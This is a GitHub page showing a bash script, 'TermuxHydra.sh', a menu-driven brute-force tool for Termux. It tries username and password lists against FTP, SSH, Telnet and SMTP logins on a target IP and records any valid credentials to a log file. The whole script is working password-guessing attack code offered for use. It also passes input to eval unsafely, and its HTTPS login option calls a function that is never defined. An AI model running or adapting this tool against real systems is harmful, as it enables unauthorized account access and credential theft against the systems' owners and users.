-
-
Notifications
You must be signed in to change notification settings - Fork 12
/
TermuxHydra.sh
216 lines (183 loc) · 10.4 KB
/
TermuxHydra.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#!/bin/bash
# Configuration
SUCCESS_FILE="success_log.txt"
DELAY_BETWEEN_ATTEMPTS=1
# Function to clear the screen
clear_screen() {
clear
}
# Function to display the green-colored banner
display_banner() {
echo -e "\e[32m⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣰⣿⠀⠀⠀⠀⠀⢀⣴⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠁⣼⢻⠃⣀⣀⣀⣠⣴⡿⣹⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⠀⠀⠀⣼⡏⡙⠋⢍⢉⡉⢡⣰⣖⢻⣧⠀⠀⢀⣤⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣏⡇⣄⠯⢰⠂⠌⣖⣡⣯⠓⣿⣇⠀⣜⠇⠉⠁⠀⠒⠚⠛⣹⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢤⠤⣄⢞⡭⠓⢠⠘⡠⣉⣌⡵⠾⢤⡌⡟⣿⠀⣯⣠⣤⣤⣀⡀⠀⠀⠈⣿⣦⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢢⡄⠋⣶⡙⢦⣚⡴⠱⠋⠈⣀⣿⣆⡝⣿⣴⢿⣏⣿⣿⠿⣶⣿⣷⡄⠘⣻⣷⡄⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣧⣶⣦⣤⣶⣶⣤⣤⡄⠀⠀⢻⡄⠀⣀⠀⢀⡀⡄⠀⣴⡾⠋⢸⡜⣿⠃⠀⠉⠛⠛⠦⠐⠻⢿⣿⣿⠘⣿⣻⣦⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⡿⠻⡘⠄⢧⠸⡄⣇⠻⢿⣿⣧⣧⡄⣀⣿⣤⣿⣿⣿⣿⣧⣼⣟⡧⠀⣤⢻⣿⢠⡧⢤⣤⠤⠄⣀⠀⠘⠿⠻⠇⣿⣿⣿⣇⠀
⠀⠀⠀⠀⠀⣀⡴⠟⠩⣄⣄⣃⡴⢮⠧⠻⠼⢌⣛⠦⣍⢻⣿⣿⣿⡟⣿⣿⣏⠇⢘⡛⣷⡟⢋⢬⢇⣿⣿⣼⡇⠀⣿⠄⠀⠀⢁⠐⠀⠐⢰⣿⣿⡿⢿⣆
⠀⠀⢀⣠⢞⡟⣺⢧⠓⡀⠠⠁⠠⠀⠀⡀⠀⠀⠸⠷⣬⢣⢻⣿⣿⣷⡘⠛⠀⠈⠉⠁⠉⢁⢂⢮⣿⣿⠟⠿⠁⢰⡏⠀⠀⢸⣎⠃⠈⠁⣸⣿⣿⡏⠀⠁
⣀⠴⠟⠓⠚⣪⣧⣾⣿⠏⢡⣤⠧⠒⠚⠢⢤⣀⠀⠀⢨⡇⢧⣿⣿⣿⣧⠀⠄⠀⠠⠤⢀⢂⣎⣷⡿⠋⠀⠀⢠⡞⠁⠀⠀⠀⠀⠀⠀⢠⣿⣷⣿⡧⠀⠀
⠙⠳⣤⣀⣰⣿⣿⣿⠘⢀⣸⠁⠀⠀⠀⠀⠀⢸⡆⠀⢸⡝⢦⣿⣿⣿⠿⡆⠀⢤⣄⣤⢃⣎⣾⡿⠇⠀⢀⡴⠋⠀⠀⠠⠀⠀⠀⠀⣰⡿⣷⡿⣿⡅⠀⠀ ⠀⠀⠀⠈⠉⠹⣟⠛⢡⡞⠁⠀⠀⠀⠀⠀⠀⠀⡿⠀⣨⡙⢾⣿⡿⠛⠊⠡⠀⡈⠓⢡⢺⣾⣿⢀⣠⠞⠉⠁⠐⠄⡀⠀⠀⠀⢀⣼⢿⣽⣿⢼⣿⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢹⣦⠏⠀⠀⠀⠀⠀⠀⠀⠀⢰⠃⠠⡝⡼⣹⠟⠃⠤⠀⡀⠀⠀⡰⣭⣿⣿⠟⠉⠁⠀⠄⠀⠀⠀⠈⠢⢀⣴⣟⣯⣟⣾⣿⣟⠂⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢸⣿⣦⡄⠀⠀⠀⠀⠀⠀⡴⠀⢀⣻⠑⠾⠅⠀⠀⠀⠀⠀⣠⡞⡑⠃⠉⠀⠐⠀⡀⠀⠀⠀⢀⢀⣠⡶⣿⣷⣿⣿⣳⡟⠛⠃⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢿⣿⠇⠀⠀⠀⠀⢀⠟⠀⠀⡾⠁⠀⠀⠀⠀⠀⠀⢀⠐⠁⠀⠁⠀⠀⠀⠀⠀⠀⢂⣠⣴⣺⣿⣿⡿⣹⡿⠿⠿⠏⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡏⠀⠂⡼⠁⠀⠀⠁⠐⠠⠈⠀⠀⠀⠀⠂⠀⠀⠀⢀⣠⣴⣚⡝⣶⣿⣽⣿⣿⢾⣯⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡿⠀⠀⢀⢃⣀⡀⠀⠀⠠⠀⠀⠄⡀⠀⠀⠀⢀⡤⣺⣙⠲⡜⣯⣻⣿⣟⣿⢯⣌⣼⣿⣃⣠⣄⣀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠈⠘⠀⠀⠀⢁⠂⠀⠀⠀⠀⠀⠁⠀⡠⢗⡼⢡⢎⡳⢩⢖⡹⣜⢣⡟⡿⢾⣟⡿⢯⣟⡿⣻⣷⣦⣀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⡛⡼⣰⢋⠶⣉⢗⡪⡕⣎⢧⠯⣝⣳⢮⡽⣛⡾⣽⣳⣯⣿⢿⣶⡀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠁⠀⠀⠐⣧⢓⢦⢋⡞⣡⢎⡵⡹⡜⢮⡝⣮⢳⣏⡾⣽⣛⡷⣯⢷⣿⣻⣿⣿⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠩⣞⢬⢳⡸⣑⢎⠶⡱⢭⣳⠺⣵⢫⣞⡵⣯⣽⣻⣽⣻⣾⢿⣽⣿⡧⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣄⠀⢀⡀⠀⢀⠀⠤⠄⠀⠐⠂⠁⠀⠈⠪⢇⡳⡜⣎⢳⡙⣖⣣⢟⡼⣣⣿⠾⠷⠳⠿⠾⣷⣿⣻⣯⣿⡗⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢣⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠈⠙⠒⣧⣽⡆⣷⣾⢻⠉⠀⠀⠀⠀⠀⠀⢩⣿⣿⣽⣿⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢦⣄⡀⠀⠀⠀⠀⠀⠀⠂⠈⠀⠀⠀⣀⢀⣀⣠⡬⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⣀⣾⣿⣻⡟⠁⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣬⣿⣷⣺⣥⣶⣶⣶⢤⣤⣴⡶⠟⠋⠉⢉⣤⣴⠶⣶⢾⣳⢶⡶⣶⣶⣶⡿⣿⣿⠿⠃⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣿⣾⣿⣽⡿⠿⠛⢿⣿⣿⣿⣿⠀⠀⢠⡶⣿⣷⡾⠛⠛⠉⠉⠙⠛⠿⢾⣷⣿⡟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠻⠇⠁⠀⠀⠀⠙⡿⠋⠂⠀⢀⣿⣽⠏⠀⠀⠀⠀⠀⠀⠀⠀⣀⡴⣟⣿⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣧⢿⡁⠀⠀⠀⠀⠀⠀⢠⣾⣿⣾⣧⣿⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣾⣻⢧⣄⣀⣀⣀⣠⣽⣿⡿⠛⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⢿⢽⠯⣿⣿⠟
CREATED BY : IAMUNIXTZ ON GITHUB
\e[0m"
}
# Function for generic attack
perform_attack() {
local target_type=$1
local target_ip
local target_port
local username_input
local password_input
clear_screen
display_banner
echo "${target_type} HYDRA ATTACK 🐉🐲"
echo ""
read -p "Enter Target IP: " target_ip
read -p "Enter ${target_type} Port: " target_port
read -p "Enter Username / UsernameFile: " username_input
read -p "Enter Password or PassFile: " password_input
usernames=()
passwords=()
if [[ -f $username_input ]]; then
IFS=$'\r\n' GLOBIGNORE='*' command eval 'usernames=($(cat "$username_input"))'
else
usernames+=($username_input)
fi
if [[ -f $password_input ]]; then
IFS=$'\r\n' GLOBIGNORE='*' command eval 'passwords=($(cat "$password_input"))'
else
passwords+=($password_input)
fi
success_file="${target_type}_success_log.txt"
touch $success_file
for user in "${usernames[@]}"; do
for pass in "${passwords[@]}"; do
case $target_type in
"FTP") attack_command="perform_ftp_attack '$target_ip' '$target_port' '$user' '$pass'";;
"SSH") attack_command="perform_ssh_attack '$target_ip' '$target_port' '$user' '$pass'";;
"Telnet") attack_command="perform_telnet_attack '$target_ip' '$target_port' '$user' '$pass'";;
"SMTP") attack_command="perform_smtp_attack '$target_ip' '$target_port' '$user' '$pass'";;
esac
echo "Trying ${target_type} login - User: $user, Password: $pass"
eval $attack_command
if [ $? -eq 0 ]; then
echo -e "\e[32mAttack Success: Valid credentials - IP: $target_ip, Username: $user, Password: $pass\e[0m"
echo "IP: $target_ip, Username: $user, Password: $pass" >> $success_file
sleep 2
read -p "Do you want to exit or continue attacking? [E/C]: " exit_option
if [ "$exit_option" == "E" ] || [ "$exit_option" == "e" ]; then
echo "Exiting Hydra. Thanks! 🐉"
return
fi
else
echo -e "\e[31mAttack Failed: Invalid credentials - IP: $target_ip, Username: $user, Password: $pass\e[0m"
fi
sleep $DELAY_BETWEEN_ATTEMPTS
done
done
echo "${target_type} Brute Force Attack Completed."
read -n 1 -s -r -p "Press Hydra Enter 🐉"
}
# Function for FTP attack
perform_ftp_attack() {
local target_ip=$1
local ftp_port=$2
local user=$3
local pass=$4
ftp_command="ftp -n $target_ip $ftp_port"
ftp_attempt="user $user $pass\nquit"
echo -e $ftp_attempt | eval $ftp_command > /dev/null 2>&1
return $?
}
# Function for SSH attack
perform_ssh_attack() {
local target_ip=$1
local ssh_port=$2
local user=$3
local pass=$4
ssh_command="sshpass -p '$pass' ssh -o StrictHostKeyChecking=no -p $ssh_port $user@$target_ip"
eval $ssh_command
return $?
}
# Function for Telnet attack
perform_telnet_attack() {
local target_ip=$1
local telnet_port=$2
local user=$3
local pass=$4
telnet_command="telnet $target_ip $telnet_port"
(sleep 1; echo -e "$user\n$pass\n") | eval $telnet_command > /dev/null 2>&1
return $?
}
# Function for SMTP attack
perform_smtp_attack() {
local target_ip=$1
local smtp_port=$2
local user=$3
local pass=$4
smtp_command="swaks --to $user --from $user --server $target_ip --port $smtp_port --auth LOGIN --auth-user $user --auth-password $pass"
eval $smtp_command > /dev/null 2>&1
return $?
}
# Main Program
while true; do
clear_screen
display_banner
echo "TERMUX HYDRA MENU 🐲🐉:"
echo "1. FTP Attack"
echo "2. SSH Attack"
echo "3. Telnet Attack"
echo "4. SMTP Attack"
echo "5. HTTPS POST Login Attack"
echo "6. Report Bug"
echo "7. Tool Details"
echo "8. Exit"
read -p "=============>> : " option
case $option in
1) perform_attack "FTP";;
2) perform_attack "SSH";;
3) perform_attack "Telnet";;
4) perform_attack "SMTP";;
5) https_post_login_attack;;
6)
clear_screen
display_banner
echo "Hydra 🐉 User, if you find any bugs, kindly report them on Github as issues. Thanks."
echo "[00] Back to Main Menu"
read -p "Enter Option: " bug_option
if [[ $bug_option == "00" ]]; then
continue
fi
;;
7)
clear_screen
display_banner
echo "This tool is inspired by Hydra and modified for Termux users. Thanks."
echo "[00] Back to Main Menu"
read -p "Enter Option: " details_option
if [[ $details_option == "00" ]]; then
continue
fi
;;
8) exit;;
*) echo "Invalid Option 🐲🐉.";;
esac
done